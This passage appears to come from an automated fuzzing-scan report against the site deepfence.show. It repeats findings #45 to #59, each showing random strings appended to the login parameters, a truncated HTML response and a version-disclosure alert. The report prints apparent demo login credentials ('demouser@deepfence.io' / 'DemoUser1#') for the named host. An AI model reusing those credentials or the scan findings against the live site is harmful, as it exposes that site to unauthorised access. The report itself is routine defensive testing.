z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #45
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioS75ZJ
DemoUser1# JbPa5
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #46
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io3aRjErKBdU
DemoUser1# AXAjLV8TlILvfh
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #47
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioDsBuEFX
DemoUser1# dc8HonvW7PFk
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #48
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioADOPKDemoUser1# QMD3zr0
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #49
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iofZn4V
DemoUser1# rF1ZHNDOq0Ycn08
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #50
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioFUbb7jH8
DemoUser1# 3wjKlV
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #51
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioYCZBJgMZyN
DemoUser1# TgOrbuW2rM1L
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #52
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioMokVIGpp0WSPf
DemoUser1# FTvYm23qX4V8Yc
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #53
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioKcWrY
DemoUser1# Afk2Q
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #54Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iozAR1httq
DemoUser1# fwJsb1e
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #55
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iogYjlt
DemoUser1# LULglWNeeiaD
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #56
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioMhZZfDM
DemoUser1# gO7z8iBWiTH1czn
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #57
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioENMtnc
DemoUser1# DKd9LF
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #58
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@
deepfence.ioB1JGYVAStIEPfX
DemoUser1# idGZYwE
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #59
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioLm3OxVJbXE1nbD
DemoUser1# MbJtmENKZXFJav
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
